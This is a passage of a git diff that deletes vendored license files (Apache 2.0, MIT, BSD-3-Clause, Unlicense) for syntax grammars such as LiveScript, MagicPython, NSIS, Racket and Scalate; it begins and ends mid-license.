-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright {yyyy} {name of copyright owner}
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/LiveScript.tmbundle.txt b/vendor/licenses/grammar/LiveScript.tmbundle.txt
deleted file mode 100644
index 4afb414f3e..0000000000
--- a/vendor/licenses/grammar/LiveScript.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: LiveScript.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2012 Paul Miller (http://paulmillr.com/), Jeremy Ashkenas
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/MagicPython.txt b/vendor/licenses/grammar/MagicPython.txt
deleted file mode 100644
index 03cf7868e8..0000000000
--- a/vendor/licenses/grammar/MagicPython.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: MagicPython
-license: mit
----
-The MIT License
-
-Copyright (c) 2015 MagicStack Inc.  http://magic.io
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Modelica.txt b/vendor/licenses/grammar/Modelica.txt
deleted file mode 100644
index 6460d1aa30..0000000000
--- a/vendor/licenses/grammar/Modelica.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: Modelica
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Boris Chumichev
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/NSIS.txt b/vendor/licenses/grammar/NSIS.txt
deleted file mode 100644
index 428151f713..0000000000
--- a/vendor/licenses/grammar/NSIS.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: NSIS
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Sublime HQ Pty Ltd
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/NimLime.txt b/vendor/licenses/grammar/NimLime.txt
deleted file mode 100644
index 2e433dd6ee..0000000000
--- a/vendor/licenses/grammar/NimLime.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: NimLime
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013 onionhammer (Erik O'Leary), Varriount (Clay Sweetser)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/PHP-Twig.tmbundle.txt b/vendor/licenses/grammar/PHP-Twig.tmbundle.txt
deleted file mode 100644
index 820bd1587a..0000000000
--- a/vendor/licenses/grammar/PHP-Twig.tmbundle.txt
+++ /dev/null
@@ -1,31 +0,0 @@
----
-type: grammar
-name: PHP-Twig.tmbundle
-license: bsd-3-clause
----
-Copyright (c) 2014, Andrew Fricke
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-* Redistributions of source code must retain the above copyright notice, this
-  list of conditions and the following disclaimer.
-
-* Redistributions in binary form must reproduce the above copyright notice,
-  this list of conditions and the following disclaimer in the documentation
-  and/or other materials provided with the distribution.
-
-* The names of its contributors may not be used to endorse or promote products
-  derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/PogoScript.tmbundle.txt b/vendor/licenses/grammar/PogoScript.tmbundle.txt
deleted file mode 100644
index 266816cb2d..0000000000
--- a/vendor/licenses/grammar/PogoScript.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: PogoScript.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2015 Tim Macfarlane
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/RDoc.tmbundle.txt b/vendor/licenses/grammar/RDoc.tmbundle.txt
deleted file mode 100644
index 8cefc45fac..0000000000
--- a/vendor/licenses/grammar/RDoc.tmbundle.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: RDoc.tmbundle
-license: mit
----
-(The MIT License)
-
-Copyright (c) 2009 Joshaven Potter
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-'Software'), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
-CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
-TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
-SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/Racket.txt b/vendor/licenses/grammar/Racket.txt
deleted file mode 100644
index 49818d6422..0000000000
--- a/vendor/licenses/grammar/Racket.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Racket
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Jens Axel Søgaard
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/SCSS.tmbundle.txt b/vendor/licenses/grammar/SCSS.tmbundle.txt
deleted file mode 100644
index a22f166be7..0000000000
--- a/vendor/licenses/grammar/SCSS.tmbundle.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: SCSS.tmbundle
-license: permissive
-curated: true
----
-
-SCSS.tmbundle Copyright (c) 2012 Mario Ricalde
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. No attribution is required by products that make use of this software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-Except as contained in this notice, the name(s) of the above copyright holders shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization.
-
-Contributors to this project agree to grant all rights to the copyright holder of the primary product. Attribution is maintained in the source control history of the product.
diff --git a/vendor/licenses/grammar/SMT.tmbundle.txt b/vendor/licenses/grammar/SMT.tmbundle.txt
deleted file mode 100644
index 5e47c2ead1..0000000000
--- a/vendor/licenses/grammar/SMT.tmbundle.txt
+++ /dev/null
@@ -1,30 +0,0 @@
----
-type: grammar
-name: SMT.tmbundle
-license: unlicense
----
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <http://unlicense.org>
-
diff --git a/vendor/licenses/grammar/Scalate.tmbundle.txt b/vendor/licenses/grammar/Scalate.tmbundle.txt
deleted file mode 100644
index 22da03eca3..0000000000
--- a/vendor/licenses/grammar/Scalate.tmbundle.txt
+++ /dev/null
@@ -1,207 +0,0 @@
----
-type: grammar
-name: Scalate.tmbundle
-license: apache-2.0
----
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
